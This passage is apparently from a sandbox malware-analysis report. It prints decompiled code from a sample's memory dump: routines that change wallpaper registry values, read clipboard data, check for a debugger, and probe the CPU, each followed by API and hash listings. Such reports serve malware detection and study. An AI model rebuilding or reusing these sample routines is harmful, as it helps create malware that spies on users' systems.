                                    • Instruction Fuzzy Hash: 8E21A4325083019BC314FB61D855DEFB3ACAF90358F40493EF686620E1EF38AA08C65B
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041C934 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 27%
                                    			E0041C934(void* __ecx, void* __edx) {
				void* __ebx;
				char* _t10;
				void* _t12;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t17;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t27;
				void* _t28;
				void* _t32;
				void* _t34;

				_t21 = __edx;
				_t24 = __edx;
				_t12 = __ecx;
				if(_t12 == 0) {
					_push(1);
					_t28 = _t27 - 0x18;
					_t10 = "0";
					E00402093(_t10, _t28, __edx, _t26, _t10);
					_t25 = "Control Panel\\Desktop";
					_push("WallpaperStyle");
					_t22 = "Control Panel\\Desktop";
					E004136BD(_t28, "Control Panel\\Desktop");
					_push(1);
					_t14 = _t28 + 0x20 - 0x18;
					_push(_t10);
					goto L11;
				} else {
					_t15 = _t12 - 1;
					if(_t15 == 0) {
						_push(1);
						_t32 = _t27 - 0x18;
						_t16 = _t32;
						_push("2");
						goto L7;
					} else {
						_t17 = _t15 - 1;
						if(_t17 == 0) {
							_push(1);
							_t32 = _t27 - 0x18;
							_t16 = _t32;
							_push("10");
							goto L7;
						} else {
							_t18 = _t17 - 1;
							if(_t18 == 0) {
								_push(1);
								_t32 = _t27 - 0x18;
								_t16 = _t32;
								_push("6");
								L7:
								E00402093(_t10, _t16, _t21, _t26);
								_t25 = "Control Panel\\Desktop";
								_push("WallpaperStyle");
								_t22 = "Control Panel\\Desktop";
								E004136BD(_t16, "Control Panel\\Desktop");
								_push(1);
								_t14 = _t32 + 0x20 - 0x18;
								_push("0");
								goto L11;
							} else {
								if(_t18 == 1) {
									_push(1);
									_t34 = _t27 - 0x18;
									E00402093(_t10, _t34, __edx, _t26, "0");
									_t25 = "Control Panel\\Desktop";
									_push("WallpaperStyle");
									_t22 = "Control Panel\\Desktop";
									E004136BD(_t34, "Control Panel\\Desktop");
									_push(1);
									_t14 = _t34 + 0x20 - 0x18;
									_push("1");
									L11:
									E00402093(_t10, _t14, _t22, _t26);
									E004136BD(_t14, _t25);
								}
							}
						}
					}
				}
				return SystemParametersInfoW(0x14, 0, _t24, 3);
			}

















                                    0x0041c934
                                    0x0041c937
                                    0x0041c939
                                    0x0041c93c
                                    0x0041c9e0
                                    0x0041c9e2
                                    0x0041c9e5
                                    0x0041c9ed
                                    0x0041c9f2
                                    0x0041c9f7
                                    0x0041c9fc
                                    0x0041c9fe
                                    0x0041ca06
                                    0x0041ca0b
                                    0x0041ca0d
                                    0x00000000
                                    0x0041c942
                                    0x0041c942
                                    0x0041c945
                                    0x0041c9d2
                                    0x0041c9d4
                                    0x0041c9d7
                                    0x0041c9d9
                                    0x00000000
                                    0x0041c94b
                                    0x0041c94b
                                    0x0041c94e
                                    0x0041c9c4
                                    0x0041c9c6
                                    0x0041c9c9
                                    0x0041c9cb
                                    0x00000000
                                    0x0041c950
                                    0x0041c950
                                    0x0041c953
                                    0x0041c991
                                    0x0041c993
                                    0x0041c996
                                    0x0041c998
                                    0x0041c99d
                                    0x0041c99d
                                    0x0041c9a2
                                    0x0041c9a7
                                    0x0041c9ac
                                    0x0041c9ae
                                    0x0041c9b6
                                    0x0041c9bb
                                    0x0041c9bd
                                    0x00000000
                                    0x0041c955
                                    0x0041c958
                                    0x0041c95e
                                    0x0041c960
                                    0x0041c96a
                                    0x0041c96f
                                    0x0041c974
                                    0x0041c979
                                    0x0041c97b
                                    0x0041c983
                                    0x0041c988
                                    0x0041c98a
                                    0x0041ca0e
                                    0x0041ca0e
                                    0x0041ca1a
                                    0x0041ca1f
                                    0x0041c958
                                    0x0041c953
                                    0x0041c94e
                                    0x0041c945
                                    0x0041ca32

                                    APIs
                                    • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CA29
                                      • Part of subcall function 004136BD: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004136CC
                                      • Part of subcall function 004136BD: RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000,004752F0,?,?,0040F7A1,004674B8,4.9.1 Pro), ref: 004136F4
                                      • Part of subcall function 004136BD: RegCloseKey.KERNEL32(?,?,?,0040F7A1,004674B8,4.9.1 Pro), ref: 004136FF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseCreateInfoParametersSystemValue
                                    • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                    • API String ID: 4127273184-3576401099
                                    • Opcode ID: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                                    • Instruction ID: a3c8462925e7be550338ea57d5b6362811c5cfc47e7470887e7cb8ab9ead1879
                                    • Opcode Fuzzy Hash: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                                    • Instruction Fuzzy Hash: 49119072BC021032D918313A0E9BBFE28129753F50F9001ABF6423A3C6E9CF4A9142CF
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00451C29 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 68%
                                    			E00451C29(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebp;
				void* _t34;
				short* _t35;
				intOrPtr* _t36;
				signed int _t39;
				signed short* _t44;
				intOrPtr _t47;
				void* _t49;
				signed int _t52;
				signed int _t58;
				signed int _t60;
				signed int _t66;
				void* _t68;
				void* _t71;
				void* _t76;
				void* _t80;
				intOrPtr _t87;
				short* _t89;
				void* _t90;
				void* _t92;
				short _t94;
				void* _t95;
				intOrPtr* _t98;
				void* _t112;
				void* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				signed int* _t122;
				intOrPtr* _t125;
				signed short _t127;
				int _t129;
				signed int _t132;
				void* _t133;
				signed int _t134;

				_t115 = __edx;
				_push(__ecx);
				_push(__ecx);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t34 = E004480E5(__ebx, __ecx, __edx);
				_t87 = _a4;
				_t94 = 0;
				_v12 = 0;
				_t3 = _t34 + 0x50; // 0x50
				_t125 = _t3;
				_t4 = _t125 + 0x250; // 0x2a0
				_t35 = _t4;
				 *((intOrPtr*)(_t125 + 8)) = 0;
				 *_t35 = 0;
				_t6 = _t125 + 4; // 0x54
				_t118 = _t6;
				_v8 = _t35;
				_t36 = _t87 + 0x80;
				 *_t125 = _t87;
				 *_t118 = _t36;
				if( *_t36 != 0) {
					E00451BBA(0x460230, 0x16, _t118);
					_t133 = _t133 + 0xc;
					_t94 = 0;
				}
				_push(_t125);
				if( *((intOrPtr*)( *_t125)) == _t94) {
					E0045152B(_t87, _t94, _t115, _t118, __eflags);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t118)) == _t94) {
						E0045164E();
					} else {
						E004515B4(_t94);
					}
					_pop(_t95);
					if( *((intOrPtr*)(_t125 + 8)) == 0) {
						_t80 = E00451BBA(0x45ff20, 0x40, _t125);
						_t133 = _t133 + 0xc;
						if(_t80 != 0) {
							_push(_t125);
							if( *((intOrPtr*)( *_t118)) == 0) {
								E0045164E();
							} else {
								E004515B4(0);
							}
							L12:
							_pop(_t95);
						}
					}
				}
				if( *((intOrPtr*)(_t125 + 8)) == 0) {
					L31:
					_t39 = 0;
					__eflags = 0;
					goto L32;
				} else {
					_t127 = E00451A88(_t95, _t87 + 0x100, _t125);
					if(_t127 == 0 || _t127 == 0xfde8 || _t127 == 0xfde9 || IsValidCodePage(_t127 & 0x0000ffff) == 0) {
						goto L31;
					} else {
						_t44 = _a8;
						if(_t44 != 0) {
							 *_t44 = _t127;
						}
						_t121 = _a12;
						if(_t121 == 0) {
							L30:
							_t39 = 1;
							goto L32;
						} else {
							_t98 = _v8;
							_t15 = _t121 + 0x120; // 0x444ae3
							_t89 = _t15;
							 *_t89 = 0;
							_t116 = _t98 + 2;
							do {
								_t47 =  *_t98;
								_t98 = _t98 + 2;
							} while (_t47 != _v12);
							_t100 = _t98 - _t116 >> 1;
							_push((_t98 - _t116 >> 1) + 1);
							_t49 = E0045001A(_t98 - _t116 >> 1, _t89, 0x55, _v8);
							_t134 = _t133 + 0x10;
							_t153 = _t49;
							if(_t49 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E0043BC69();
								asm("int3");
								_t132 = _t134;
								_t52 =  *0x47100c; // 0xbb2d687
								_v52 = _t52 ^ _t132;
								_push(_t89);
								_push(_t127);
								_push(_t121);
								_t90 = E004480E5(_t89, _t100, _t116);
								_t122 =  *(E004480E5(_t90, _t100, _t116) + 0x34c);
								_t129 = E0045233C(_v40);
								asm("sbb ecx, ecx");
								_t58 = GetLocaleInfoW(_t129, ( ~( *(_t90 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								__eflags = _t58;
								if(_t58 != 0) {
									_t60 = E00453965(_t90, _t122, _t129,  *((intOrPtr*)(_t90 + 0x54)),  &_v272);
									__eflags = _t60;
									if(_t60 == 0) {
										_t66 = E00452470(_t129);
										__eflags = _t66;
										if(_t66 != 0) {
											 *_t122 =  *_t122 | 0x00000004;
											__eflags =  *_t122;
											_t122[2] = _t129;
											_t122[1] = _t129;
										}
									}
									__eflags =  !( *_t122 >> 2) & 0x00000001;
								} else {
									 *_t122 =  *_t122 & _t58;
								}
								__eflags = _v32 ^ _t132;
								return E00434F3B(_v32 ^ _t132);
							} else {
								_t68 = E004487BD(_t100, _t127, _t153, _t89, 0x1001, _t121, 0x40);
								_t154 = _t68;
								if(_t68 == 0) {
									goto L31;
								} else {
									_t20 = _t121 + 0x80; // 0x444a43
									_t92 = _t20;
									_t21 = _t121 + 0x120; // 0x444ae3
									if(E004487BD(_t100, _t127, _t154, _t21, 0x1002, _t92, 0x40) == 0) {
										goto L31;
									} else {
										_push(0x5f);
										_t71 = E004578C7(_t100);
										_t112 = _t92;
										if(_t71 != 0) {
											L28:
											_t22 = _t121 + 0x120; // 0x444ae3
											if(E004487BD(_t112, _t127, _t157, _t22, 7, _t92, 0x40) == 0) {
												goto L31;
											} else {
												goto L29;
											}
										} else {
											_push(0x2e);
											_t76 = E004578C7(_t112);
											_t112 = _t92;
											_t157 = _t76;
											if(_t76 == 0) {
												L29:
												_t23 = _t121 + 0x100; // 0x444ac3
												E00441E3F(_t112, _t127, _t23, 0x10, 0xa);
												goto L30;
											} else {
												goto L28;
											}
										}
									}
								}
								L32:
								return _t39;
							}
						}
					}
				}
			}












































                                    0x00451c29
                                    0x00451c2e
                                    0x00451c2f
                                    0x00451c30
                                    0x00451c31
                                    0x00451c32
                                    0x00451c33
                                    0x00451c38
                                    0x00451c3b
                                    0x00451c3d
                                    0x00451c40
                                    0x00451c40
                                    0x00451c43
                                    0x00451c43
                                    0x00451c49
                                    0x00451c4c
                                    0x00451c4f
                                    0x00451c4f
                                    0x00451c52
                                    0x00451c55
                                    0x00451c5b
                                    0x00451c5d
                                    0x00451c62
                                    0x00451c6c
                                    0x00451c71
                                    0x00451c74
                                    0x00451c74
                                    0x00451c78
                                    0x00451c7c
                                    0x00451cc5
                                    0x00000000
                                    0x00451c7e
                                    0x00451c83
                                    0x00451c8c
                                    0x00451c85
                                    0x00451c85
                                    0x00451c85
                                    0x00451c93
                                    0x00451c97
                                    0x00451ca1
                                    0x00451ca6
                                    0x00451cab
                                    0x00451cb1
                                    0x00451cb5
                                    0x00451cbe
                                    0x00451cb7
                                    0x00451cb7
                                    0x00451cb7
                                    0x00451cca
                                    0x00451cca
                                    0x00451cca
                                    0x00451cab
                                    0x00451c97
                                    0x00451cd0
                                    0x00451de2
                                    0x00451de2
                                    0x00451de2
                                    0x00000000
                                    0x00451cd6
                                    0x00451ce3
                                    0x00451ce9
                                    0x00000000
                                    0x00451d19
                                    0x00451d19
                                    0x00451d1e
                                    0x00451d20
                                    0x00451d20
                                    0x00451d22
                                    0x00451d27
                                    0x00451ddd
                                    0x00451ddf
                                    0x00000000
                                    0x00451d2d
                                    0x00451d2d
                                    0x00451d30
                                    0x00451d30
                                    0x00451d38
                                    0x00451d3b
                                    0x00451d3e
                                    0x00451d3e
                                    0x00451d41
                                    0x00451d44
                                    0x00451d4c
                                    0x00451d51
                                    0x00451d58
                                    0x00451d5d
                                    0x00451d60
                                    0x00451d62
                                    0x00451ded
                                    0x00451dee
                                    0x00451def
                                    0x00451df0
                                    0x00451df1
                                    0x00451df2
                                    0x00451df7
                                    0x00451dfb
                                    0x00451e03
                                    0x00451e0a
                                    0x00451e0d
                                    0x00451e0e
                                    0x00451e12
                                    0x00451e18
                                    0x00451e20
                                    0x00451e2f
                                    0x00451e3b
                                    0x00451e4c
                                    0x00451e52
                                    0x00451e54
                                    0x00451e65
                                    0x00451e6c
                                    0x00451e6e
                                    0x00451e71
                                    0x00451e77
                                    0x00451e79
                                    0x00451e7b
                                    0x00451e7b
                                    0x00451e7e
                                    0x00451e81
                                    0x00451e81
                                    0x00451e79
                                    0x00451e8b
                                    0x00451e56
                                    0x00451e56
                                    0x00451e58
                                    0x00451e93
                                    0x00451e9e
                                    0x00451d68
                                    0x00451d71
                                    0x00451d76
                                    0x00451d78
                                    0x00000000
                                    0x00451d7a
                                    0x00451d7c
                                    0x00451d7c
                                    0x00451d88
                                    0x00451d96
                                    0x00000000
                                    0x00451d98
                                    0x00451d98
                                    0x00451d9b
                                    0x00451da1
                                    0x00451da4
                                    0x00451db4
                                    0x00451db9
                                    0x00451dc7
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00451da6
                                    0x00451da6
                                    0x00451da9
                                    0x00451daf
                                    0x00451db0
                                    0x00451db2
                                    0x00451dc9
                                    0x00451dcd
                                    0x00451dd5
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00451db2
                                    0x00451da4
                                    0x00451d96
                                    0x00451de4
                                    0x00451dea
                                    0x00451dea
                                    0x00451d62
                                    0x00451d27
                                    0x00451ce9

                                    APIs
                                      • Part of subcall function 004480E5: GetLastError.KERNEL32(00000020,?,0043A745,?,?,?,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B), ref: 004480E9
                                      • Part of subcall function 004480E5: _free.LIBCMT ref: 0044811C
                                      • Part of subcall function 004480E5: SetLastError.KERNEL32(00000000,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B,?,00000041,00000000,00000000), ref: 0044815D
                                      • Part of subcall function 004480E5: _abort.LIBCMT ref: 00448163
                                    • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,004449C3,?,?,?,?,0044441A,?,00000004), ref: 00451D0B
                                    • _wcschr.LIBVCRUNTIME ref: 00451D9B
                                    • _wcschr.LIBVCRUNTIME ref: 00451DA9
                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,004449C3,00000000,00444AE3), ref: 00451E4C
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                    • String ID:
                                    • API String ID: 4212172061-0
                                    • Opcode ID: 14a764fd6ed12dfdcaa65424ebdbb9bd7c0f192dfb7e073e066ce26d79732a85
                                    • Instruction ID: c0ac330b583a5dcc1e5ae4c6385d1e217dfae6f4851b503ac4fac9d4f61c963f
                                    • Opcode Fuzzy Hash: 14a764fd6ed12dfdcaa65424ebdbb9bd7c0f192dfb7e073e066ce26d79732a85
                                    • Instruction Fuzzy Hash: EA611971600205AAE725AB75CC86BBB73A8EF04306F14452FFD05D7292EB78ED48C768
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0043BA72 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 76%
                                    			E0043BA72(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x47100c; // 0xbb2d687
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00434AE6(_t41);
					_pop(_t62);
				}
				E00436DE0(_t67,  &_v804, 0, 0x50);
				E00436DE0(_t67,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E00434AE6(_t57);
				}
				return E00434F3B(_v8 ^ _t70);
			}




































                                    0x0043ba72
                                    0x0043ba72
                                    0x0043ba72
                                    0x0043ba72
                                    0x0043ba7d
                                    0x0043ba82
                                    0x0043ba84
                                    0x0043ba8c
                                    0x0043ba8e
                                    0x0043ba91
                                    0x0043ba96
                                    0x0043ba96
                                    0x0043baa2
                                    0x0043bab5
                                    0x0043bac3
                                    0x0043bac9
                                    0x0043bacf
                                    0x0043bad5
                                    0x0043badb
                                    0x0043bae1
                                    0x0043bae7
                                    0x0043baed
                                    0x0043baf3
                                    0x0043baf9
                                    0x0043bb00
                                    0x0043bb07
                                    0x0043bb0e
                                    0x0043bb15
                                    0x0043bb1c
                                    0x0043bb23
                                    0x0043bb24
                                    0x0043bb2d
                                    0x0043bb33
                                    0x0043bb36
                                    0x0043bb3c
                                    0x0043bb49
                                    0x0043bb52
                                    0x0043bb5b
                                    0x0043bb64
                                    0x0043bb72
                                    0x0043bb74
                                    0x0043bb89
                                    0x0043bb95
                                    0x0043bb98
                                    0x0043bb9d
                                    0x0043bbac

                                    APIs
                                    • IsDebuggerPresent.KERNEL32 ref: 0043BB6A
                                    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043BB74
                                    • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BB81
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                    • String ID:
                                    • API String ID: 3906539128-0
                                    • Opcode ID: 3746edb713d3c859d0958c86e3c0da8357b5798b847e4bb7dea5f11d5395c692
                                    • Instruction ID: 56edd4844c8631cd5606f39c487bbc7b188586c5d6e6964a1adde72ee4cab087
                                    • Opcode Fuzzy Hash: 3746edb713d3c859d0958c86e3c0da8357b5798b847e4bb7dea5f11d5395c692
                                    • Instruction Fuzzy Hash: 7D31C47490121C9BCB21DF64D889BCDBBB8EF08310F5051EAE81CA6251EB349F858F48
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00443224 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00443224(int _a4) {
				void* _t14;
				void* _t16;

				if(E00448B99(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E004432A9(_t14, _t16, _a4);
				ExitProcess(_a4);
			}





                                    0x00443230
                                    0x0044324c
                                    0x0044324c
                                    0x00443255
                                    0x0044325e

                                    APIs
                                    • GetCurrentProcess.KERNEL32(?,?,004431FA,?), ref: 00443245
                                    • TerminateProcess.KERNEL32(00000000,?,004431FA,?), ref: 0044324C
                                    • ExitProcess.KERNEL32 ref: 0044325E
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$CurrentExitTerminate
                                    • String ID:
                                    • API String ID: 1703294689-0
                                    • Opcode ID: b356550a3075f0e3ab94665e99e2f2a2c2554ad0cd462f233d9b913fe95f8ca5
                                    • Instruction ID: b0563b4c9cb37517ca380a7c23a84d3443173f32419d57fcce23a437c9372dde
                                    • Opcode Fuzzy Hash: b356550a3075f0e3ab94665e99e2f2a2c2554ad0cd462f233d9b913fe95f8ca5
                                    • Instruction Fuzzy Hash: 60E0B671000348FFDF126F55DD09A993B6AFF80746F4444A9F9098A272CB79EE42CA48
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B65C Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 75%
                                    			E0040B65C(intOrPtr _a4) {
				intOrPtr _v0;
				void* _t8;
				void* _t10;
				void* _t11;
				void* _t12;

				if(OpenClipboard(0) == 0) {
					L3:
					_push(0x466468);
				} else {
					_t11 = GetClipboardData(0xd);
					CloseClipboard();
					if(_t11 == 0) {
						goto L3;
					} else {
						_push(_t11);
					}
				}
				E0040417E(_t8, _a4, _t10, _t12);
				return _v0;
			}








                                    0x0040b667
                                    0x0040b680
                                    0x0040b680
                                    0x0040b669
                                    0x0040b671
                                    0x0040b673
                                    0x0040b67b
                                    0x00000000
                                    0x0040b67d
                                    0x0040b67d
                                    0x0040b67d
                                    0x0040b67b
                                    0x0040b689
                                    0x0040b693

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Clipboard$CloseDataOpen
                                    • String ID:
                                    • API String ID: 2058664381-0
                                    • Opcode ID: 519ef2c27197b8d96ba826a5c3e8c472a064a98dfaa986ceeee74c7c82622cfa
                                    • Instruction ID: 12cbdee9a8fd4f9d33682b6f823f9a7816142bf9e60be8ebe326d1ace0c113b9
                                    • Opcode Fuzzy Hash: 519ef2c27197b8d96ba826a5c3e8c472a064a98dfaa986ceeee74c7c82622cfa
                                    • Instruction Fuzzy Hash: E6E08C30205320EFC2205B609C0CB8A67509F85B52F024A3ABC85AA2D0DB39CC00C6AE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00434BC1 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 86%
                                    			E00434BC1(intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t63;
				intOrPtr _t65;
				signed int _t66;
				signed int _t68;
				intOrPtr _t73;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t84;
				intOrPtr* _t86;
				signed int _t91;
				signed int _t94;

				_t84 = __edx;
				 *0x471d1c =  *0x471d1c & 0x00000000;
				 *0x471010 =  *0x471010 | 1;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L20:
					return 0;
				}
				_v24 = _v24 & 0x00000000;
				 *0x471010 =  *0x471010 | 0x00000002;
				 *0x471d1c = 1;
				_t86 =  &_v48;
				_push(1);
				asm("cpuid");
				_pop(_t73);
				 *_t86 = 0;
				 *((intOrPtr*)(_t86 + 4)) = 1;
				 *((intOrPtr*)(_t86 + 8)) = 0;
				 *((intOrPtr*)(_t86 + 0xc)) = _t84;
				_v16 = _v48;
				_v8 = _v36 ^ 0x49656e69;
				_v12 = _v40 ^ 0x6c65746e;
				_push(1);
				asm("cpuid");
				_t75 =  &_v48;
				 *_t75 = 1;
				 *((intOrPtr*)(_t75 + 4)) = _t73;
				 *((intOrPtr*)(_t75 + 8)) = 0;
				 *((intOrPtr*)(_t75 + 0xc)) = _t84;
				if((_v44 ^ 0x756e6547 | _v8 | _v12) != 0) {
					L9:
					_t91 =  *0x471d20; // 0x2
					L10:
					_v32 = _v36;
					_t59 = _v40;
					_v8 = _t59;
					_v28 = _t59;
					if(_v16 >= 7) {
						_t65 = 7;
						_push(_t75);
						asm("cpuid");
						_t77 =  &_v48;
						 *_t77 = _t65;
						 *((intOrPtr*)(_t77 + 4)) = _t75;
						 *((intOrPtr*)(_t77 + 8)) = 0;
						 *((intOrPtr*)(_t77 + 0xc)) = _t84;
						_t66 = _v44;
						_v24 = _t66;
						_t59 = _v8;
						if((_t66 & 0x00000200) != 0) {
							 *0x471d20 = _t91 | 0x00000002;
						}
					}
					if((_t59 & 0x00100000) != 0) {
						 *0x471010 =  *0x471010 | 0x00000004;
						 *0x471d1c = 2;
						if((_t59 & 0x08000000) != 0 && (_t59 & 0x10000000) != 0) {
							asm("xgetbv");
							_v20 = _t59;
							_v16 = _t84;
							if((_v20 & 0x00000006) == 6 && 0 == 0) {
								_t62 =  *0x471010; // 0x2f
								_t63 = _t62 | 0x00000008;
								 *0x471d1c = 3;
								 *0x471010 = _t63;
								if((_v24 & 0x00000020) != 0) {
									 *0x471d1c = 5;
									 *0x471010 = _t63 | 0x00000020;
								}
							}
						}
					}
					goto L20;
				}
				_t68 = _v48 & 0x0fff3ff0;
				if(_t68 == 0x106c0 || _t68 == 0x20660 || _t68 == 0x20670 || _t68 == 0x30650 || _t68 == 0x30660 || _t68 == 0x30670) {
					_t94 =  *0x471d20; // 0x2
					_t91 = _t94 | 0x00000001;
					 *0x471d20 = _t91;
					goto L10;
				} else {
					goto L9;
				}
			}



























                                    0x00434bc1
                                    0x00434bc4
                                    0x00434bd2
                                    0x00434be1
                                    0x00434d5e
                                    0x00434d64
                                    0x00434d64
                                    0x00434be7
                                    0x00434bed
                                    0x00434bf8
                                    0x00434bfe
                                    0x00434c01
                                    0x00434c02
                                    0x00434c06
                                    0x00434c07
                                    0x00434c09
                                    0x00434c0c
                                    0x00434c11
                                    0x00434c1a
                                    0x00434c2b
                                    0x00434c36
                                    0x00434c3c
                                    0x00434c3d
                                    0x00434c45
                                    0x00434c4b
                                    0x00434c4d
                                    0x00434c50
                                    0x00434c53
                                    0x00434c56
                                    0x00434c9b
                                    0x00434c9b
                                    0x00434ca1
                                    0x00434ca8
                                    0x00434cab
                                    0x00434cae
                                    0x00434cb1
                                    0x00434cb4
                                    0x00434cb8
                                    0x00434cbb
                                    0x00434cbc
                                    0x00434cc1
                                    0x00434cc4
                                    0x00434cc6
                                    0x00434cc9
                                    0x00434ccc
                                    0x00434ccf
                                    0x00434cd7
                                    0x00434cda
                                    0x00434cdd
                                    0x00434ce2
                                    0x00434ce2
                                    0x00434cdd
                                    0x00434cef
                                    0x00434cf1
                                    0x00434cf8
                                    0x00434d07
                                    0x00434d12
                                    0x00434d15
                                    0x00434d18
                                    0x00434d29
                                    0x00434d2f
                                    0x00434d34
                                    0x00434d37
                                    0x00434d45
                                    0x00434d4a
                                    0x00434d4f
                                    0x00434d59
                                    0x00434d59
                                    0x00434d4a
                                    0x00434d29
                                    0x00434d07
                                    0x00000000
                                    0x00434cef
                                    0x00434c5b
                                    0x00434c65
                                    0x00434c8a
                                    0x00434c90
                                    0x00434c93
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000

                                    APIs
                                    • IsProcessorFeaturePresent.KERNEL32(0000000A,00000000), ref: 00434BDA
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
